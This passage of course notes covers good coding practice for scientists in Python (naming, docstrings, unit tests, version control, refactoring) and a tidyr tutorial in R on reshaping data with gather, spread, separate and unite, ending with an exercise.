def linear_regression(design_matrix, response):
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
Use good variable/function names
import numpy as np
def better_function():
response, design_matrix1, design_matrix2 = load_data(
'/tmp/123.npy')
coefficient1 = linear_regression(
zscore(design_matrix1), response)
coefficient2 = linear_regression(
zscore(design_matrix2), response)
coefficient_difference = coefficient1 - coefficient2
np.save('ans.npy', coefficient_difference)
def load_data(data_name):
X = np.load(data_name, mmap_mode='r')
return X[:, 0], X[:, 1], X[:, 2]
def zscore(x):
return (x - x.mean()) / x.std()
def linear_regression(design_matrix, response):
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
You don’t need comments if the variable or function already tells you what it does (self-documenting)
Use the naming conventions of your language of choice (snake_case
or camelCase
) and be consistent
Avoid using abbreviations that are not commonly used
(sw
vs. spike_width
)
Prefer whole words
(elec_poten
vs. electric_potential
)
STEP 3. Document your functions
Document your functions
Easy thing: brief sentence describing the function without using the name of the function*
*this is the most important
Document your functions
def zscore(x):
return (x - x.mean()) / x.std()
def linear_regression(design_matrix, response):
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
Document your functions
def zscore(x):
'''Number of standard deviations from the mean'''
return (x - x.mean()) / x.std()
def linear_regression(design_matrix, response):
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
Document your functions
def zscore(x):
'''Number of standard deviations from the mean'''
return (x - x.mean()) / x.std()
def linear_regression(design_matrix, response):
'''Calculate a linear least-squares regression for
two sets of measurements'''
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
Document your functions
Document your functions
def linear_regression(design_matrix, response):
'''Calculate a linear least-squares regression for
two sets of measurements
Uses the QR decomposition to avoid numerical instability
in taking the inverse.
Parameters
----------
design_matrix, response : array_like
Two sets of measurements. Both arrays should have
the same length.
Returns
-------
coefficients : array_like
Parameters estimated from the model.
Examples
--------
>>> design_matrix = np.random.random(10)
>>> response = np.random.random(10)
>>> coefficients = linear_regression(design_matrix, response)
'''
Q, R = np.linalg.qr(design_matrix, mode='reduced')
return np.linalg.solve(R, np.dot(Q.T, response))
STEP 4. Test your code
Test your code
Make sure your code works like you think it does
Test your code
Think about how your code can fail
Small, well-defined, well-named functions are easy to test!
Test your code
import numpy as np
def zscore(x):
'''Number of standard deviations from the mean'''
return (x - x.mean()) / x.std()
def test_zscore():
pass
Test your code
import numpy as np
def zscore(x):
'''Number of standard deviations from the mean'''
return (x - x.mean()) / x.std()
def test_zscore():
test_values = np.asarray([1, 3])
expected_values = np.asarray([-1, 1])
assert np.allclose(zscore(test_values), expected_values)
Test your code
Unit tests test a small component of your code (usually a small function) and makes sure it works like you think it works
Unit tests prevent regression of your code
If you change your code, you want to know what still works and what has broken (Regression)
Functions should be simple to test
If you find a bug, write a test.
Use unit tests to define the requirements of your code
You can use programs called test runners to run a group of unit tests automatically.
Matlab, Python, R have unit test packages
Test your code
There are also libraries available that will work with your version control system to run these tests every time you commit a new piece of code (continuous integration)
STEP 5. Use version control
Use version control
Sophisticated way to track change in your code over time
Use version control
Version control stores the whole history of your project
Use version control
Helps you back up your work
Use version control
Go back to previous versions of your code
Use version control
Reduce code clutter and confusion
Use version control
Experiment with different versions of code (branches)
Use version control
Makes it easier to work with others
Use version control
Commit early and often (take a lot of snapshots of your code)
STEP 6. Refactor your code
“Whenever I have to think to understand what the code is doing, I ask myself if I can refactor the code to make that understanding more immediately apparent.” – Martin Fowler, Refactoring: Improving the Design of Existing Code
Refactor your code
Always leave the code in a better state than when you first found it.
Your code isn’t going to be perfect the first time
Just like in writing, your code will get better as you revise it.
You wouldn’t expect a first draft to be perfect.
each time you look at your code: * do my variable/function names make sense? * do I know what this function is doing? * can I turn things into functions? * can I generalize this function?
There is some tradeoff between tinkering with your code and getting things done
Also don’t throw everything out and re-write from scratch unless you can absolutely help it * “When you throw away code and start from scratch, you are throwing away all that knowledge. All those collected bug fixes.” If tempted by this tutorial to do this to your existing codebase, don’tSTEP 7. Always search for well-maintained software libraries that do what you need.
Don’t rewrite functions that are already implemented as part of the core language.
Use other software libraries if they are well-maintained
Why: * because more users mean less bugs * better tested
Little tricky: still need to take time to vet the code to make sure it does what you think it doesHow to write good code???
Exercise in managing complexity:
Summary:
break problems down into smaller components
keep track of what you did (be organized)
Conclusion: Writing good code takes work
We have a scientific obligation to ensure the correctness of our programs.
I think it is a mistake to think that only “programmers” working for companies need to bother with writing good code.
You are a programmer dealing with complex programs.
Need to put the same amount of effort as performing the experiment or writing the paper.Exercises

10 Tidy Data
10.1 Readings
10.2 Tidy Data
There are three interrelated rules which make a dataset tidy:
- Each variable must have its own column.
- Each observation must have its own row.
- Each value must have its own cell.
That interrelationship leads to an even simpler set of practical instructions:
- Put each dataset in a tibble.
- Put each variable in a column.
In this session, you will learn a consistent way to organise your data in R, an organisation called tidy data. Getting your data into this format requires some upfront work, but that work pays off in the long term. Once you have tidy data and the tidy tools provided by packages in the tidyverse, you will spend much less time munging data from one representation to another, allowing you to spend more time on the analytic questions at hand. This session will give you a practical introduction to tidy data and the accompanying tools in the tidyr package.

These are all representations of the same underlying data, but they are not equally easy to use. One dataset, the tidy dataset, will be much easier to work with inside the tidyverse.
10.3.1 Spreading and gathering
The principles of tidy data seem so obvious that you might wonder if you’ll ever encounter a dataset that isn’t tidy. Unfortunately, however, most data that you will encounter will be untidy. There are two main reasons:
Most people aren’t familiar with the principles of tidy data, and it’s hard to derive them yourself unless you spend a lot of time working with data.
Data is often organised to facilitate some use other than analysis. For example, data is often organised to make entry as easy as possible.
This means for most real analyses, you’ll need to do some tidying. The first step is always to figure out what the variables and observations are. Sometimes this is easy; other times you’ll need to consult with the people who originally generated the data. The second step is to resolve one of two common problems:
One variable might be spread across multiple columns.
One observation might be scattered across multiple rows.
Typically a dataset will only suffer from one of these problems; it’ll only suffer from both if you’re really unlucky! To fix these problems, you’ll need the two most important functions in tidyr: gather()
and spread()
.
<IP_ADDRESS> Gathering
A common problem is a dataset where some of the column names are not names of variables, but values of a variable. Take table4a
: the column names 1999
and 2000
represent values of the year
variable, and each row represents two observations, not one.
table4a
## # A tibble: 3 x 3
## country `1999` `2000`
## * <chr> <int> <int>
## 1 Afghanistan 745 2666
## 2 Brazil 37737 80488
## 3 China<PHONE_NUMBER>66
To tidy a dataset like this, we need to gather those columns into a new pair of variables. To describe that operation we need three parameters:
The set of columns that represent values, not variables. In this example, those are the columns
1999
and2000
.The name of the variable whose values form the column names. I call that the
key
, and here it isyear
.The name of the variable whose values are spread over the cells. I call that
value
, and here it’s the number ofcases
.
Together those parameters generate the call to gather()
:
table4a %>%
gather(`1999`, `2000`, key = "year", value = "cases")
## # A tibble: 6 x 3
## country year cases
## <chr> <chr> <int>
## 1 Afghanistan 1999 745
## 2 Brazil 1999 37737
## 3 China 1999 212258
## 4 Afghanistan 2000 2666
## 5 Brazil 2000 80488
## 6 China 2000 213766
The columns to gather are specified with dplyr::select()
style notation. Here there are only two columns, so we list them individually. Note that “1999” and “2000” are non-syntactic names so we have to surround them in backticks. To refresh your memory of the other ways to select columns, see select.
In the final result, the gathered columns are dropped, and we get new key
and value
columns. Otherwise, the relationships between the original variables are preserved. Visually, this is shown in Figure 10.1. We can use gather()
to tidy table4b
in a similar fashion. The only difference is the variable stored in the cell values:
table4b %>%
gather(`1999`, `2000`, key = "year", value = "population")
## # A tibble: 6 x 3
## country year population
## <chr> <chr> <int>
## 1 Afghanistan 1999 19987071
## 2 Brazil 1999 172006362
## 3 China 1999<PHONE_NUMBER>
## 4 Afghanistan 2000 20595360
## 5 Brazil 2000 174504898
## 6 China 2000<PHONE_NUMBER>
To combine the tidied versions of table4a
and table4b
into a single tibble, we need to use dplyr::left_join()
, which you’ll learn about in [relational data].
tidy4a <- table4a %>%
gather(`1999`, `2000`, key = "year", value = "cases")
tidy4b <- table4b %>%
gather(`1999`, `2000`, key = "year", value = "population")
left_join(tidy4a, tidy4b)
## Joining, by = c("country", "year")
## # A tibble: 6 x 4
## country year cases population
## <chr> <chr> <int> <int>
## 1 Afghanistan 1999<PHONE_NUMBER>1
## 2 Brazil 1999 37737 172006362
## 3 China 1999<PHONE_NUMBER>915272
## 4 Afghanistan 2000 2666 20595360
## 5 Brazil 2000 80488 174504898
## 6 China 2000<PHONE_NUMBER>428583
<IP_ADDRESS> Spreading
Spreading is the opposite of gathering. You use it when an observation is scattered across multiple rows. For example, take table2
: an observation is a country in a year, but each observation is spread across two rows.
table2
## # A tibble: 12 x 4
## country year type count
## <chr> <int> <chr> <int>
## 1 Afghanistan 1999 cases 745
## 2 Afghanistan 1999 population 19987071
## 3 Afghanistan 2000 cases 2666
## 4 Afghanistan 2000 population 20595360
## 5 Brazil 1999 cases 37737
## 6 Brazil 1999 population 172006362
## 7 Brazil 2000 cases 80488
## 8 Brazil 2000 population 174504898
## 9 China 1999 cases 212258
## 10 China 1999 population<PHONE_NUMBER>
## 11 China 2000 cases 213766
## 12 China 2000 population<PHONE_NUMBER>
To tidy this up, we first analyse the representation in similar way to gather()
. This time, however, we only need two parameters:
The column that contains variable names, the
key
column. Here, it’stype
.The column that contains values forms multiple variables, the
value
column. Here it’scount
.
Once we’ve figured that out, we can use spread()
, as shown programmatically below, and visually in Figure 10.2.
spread(table2, key = type, value = count)
## # A tibble: 6 x 4
## country year cases population
## * <chr> <int> <int> <int>
## 1 Afghanistan 1999<PHONE_NUMBER>1
## 2 Afghanistan 2000 2666 20595360
## 3 Brazil 1999 37737 172006362
## 4 Brazil 2000 80488 174504898
## 5 China 1999<PHONE_NUMBER>915272
## 6 China 2000<PHONE_NUMBER>428583
As you might have guessed from the common key
and value
arguments, spread()
and gather()
are complements. gather()
makes wide tables narrower and longer; spread()
makes long tables shorter and wider.
10.3.2 Separating and uniting
So far you’ve learned how to tidy table2
and table4
, but not table3
. table3
has a different problem: we have one column (rate
) that contains two variables (cases
and population
). To fix this problem, we’ll need the separate()
function. You’ll also learn about the complement of separate()
: unite()
, which you use if a single variable is spread across multiple columns.
<IP_ADDRESS> Separate
separate()
pulls apart one column into multiple columns, by splitting wherever a separator character appears. Take table3
:
table3
## # A tibble: 6 x 3
## country year rate
## * <chr> <int> <chr>
## 1 Afghanistan 1999 745/19987071
## 2 Afghanistan 2000 2666/20595360
## 3 Brazil 1999 37737/172006362
## 4 Brazil 2000 80488/174504898
## 5 China 1999 212258/1272915272
## 6 China 2000 213766/1280428583
The rate
column contains both cases
and population
variables, and we need to split it into two variables. separate()
takes the name of the column to separate, and the names of the columns to separate into, as shown in Figure 10.3 and the code below.
table3 %>%
separate(rate, into = c("cases", "population"))
## # A tibble: 6 x 4
## country year cases population
## * <chr> <int> <chr> <chr>
## 1 Afghanistan 1999<PHONE_NUMBER>1
## 2 Afghanistan 2000 2666 20595360
## 3 Brazil 1999 37737 172006362
## 4 Brazil 2000 80488 174504898
## 5 China 1999<PHONE_NUMBER>915272
## 6 China 2000<PHONE_NUMBER>428583
By default, separate()
will split values wherever it sees a non-alphanumeric character (i.e. a character that isn’t a number or letter). For example, in the code above, separate()
split the values of rate
at the forward slash characters. If you wish to use a specific character to separate a column, you can pass the character to the sep
argument of separate()
. For example, we could rewrite the code above as:
table3 %>%
separate(rate, into = c("cases", "population"), sep = "/")
(Formally, sep
is a regular expression, which you’ll learn more about in [strings].)
Look carefully at the column types: you’ll notice that case
and population
are character columns. This is the default behaviour in separate()
: it leaves the type of the column as is. Here, however, it’s not very useful as those really are numbers. We can ask separate()
to try and convert to better types using convert = TRUE
:
table3 %>%
separate(rate, into = c("cases", "population"), convert = TRUE)
## # A tibble: 6 x 4
## country year cases population
## * <chr> <int> <int> <int>
## 1 Afghanistan 1999<PHONE_NUMBER>1
## 2 Afghanistan 2000 2666 20595360
## 3 Brazil 1999 37737 172006362
## 4 Brazil 2000 80488 174504898
## 5 China 1999<PHONE_NUMBER>915272
## 6 China 2000<PHONE_NUMBER>428583
You can also pass a vector of integers to sep
. separate()
will interpret the integers as positions to split at. Positive values start at 1 on the far-left of the strings; negative value start at -1 on the far-right of the strings. When using integers to separate strings, the length of sep
should be one less than the number of names in into
.
You can use this arrangement to separate the last two digits of each year. This make this data less tidy, but is useful in other cases, as you’ll see in a little bit.
table3 %>%
separate(year, into = c("century", "year"), sep = 2)
## # A tibble: 6 x 4
## country century year rate
## * <chr> <chr> <chr> <chr>
## 1 Afghanistan 19 99 745/19987071
## 2 Afghanistan 20 00 2666/20595360
## 3 Brazil 19 99 37737/172006362
## 4 Brazil 20 00 80488/174504898
## 5 China 19 99 212258/1272915272
## 6 China 20 00 213766/1280428583
<IP_ADDRESS> Unite
unite()
is the inverse of separate()
: it combines multiple columns into a single column. You’ll need it much less frequently than separate()
, but it’s still a useful tool to have in your back pocket.
We can use unite()
to rejoin the century and year columns that we created in the last example. That data is saved as tidyr::table5
. unite()
takes a data frame, the name of the new variable to create, and a set of columns to combine, again specified in dplyr::select()
style:
table5 %>%
unite(new, century, year)
## # A tibble: 6 x 3
## country new rate
## * <chr> <chr> <chr>
## 1 Afghanistan 19_99 745/19987071
## 2 Afghanistan 20_00 2666/20595360
## 3 Brazil 19_99 37737/172006362
## 4 Brazil 20_00 80488/174504898
## 5 China 19_99 212258/1272915272
## 6 China 20_00 213766/1280428583
In this case we also need to use the sep
argument. The default will place an underscore (_
) between the values from different columns. Here we don’t want any separator so we use ""
:
table5 %>%
unite(new, century, year, sep = "")
## # A tibble: 6 x 3
## country new rate
## * <chr> <chr> <chr>
## 1 Afghanistan 1999 745/19987071
## 2 Afghanistan 2000 2666/20595360
## 3 Brazil 1999 37737/172006362
## 4 Brazil 2000 80488/174504898
## 5 China 1999 212258/1272915272
## 6 China 2000 213766/1280428583
10.4 Exercise
- Are the bike counts data for the two bridges tidy data?
- If not, why not? And how can we tidy it?
- After tidying the bike counts, using functions in the
tidyr
package, create tables summarizing the average bike counts by bridge and day of week in two different formats:
| Bridge | Sun | Mon | Tue | Wed | Thur | Fri | Sat |
|---|---|---|---|---|---|---|---|
| Hawthorne | |||||||
| Tilikum |
| Day of Week | Hawthorne | Tilikum |
|---|---|---|
| Fri | ||
| Mon | ||
| Sat | ||
| Sun | ||
| Thur | ||
| Tue | ||
| Wed |
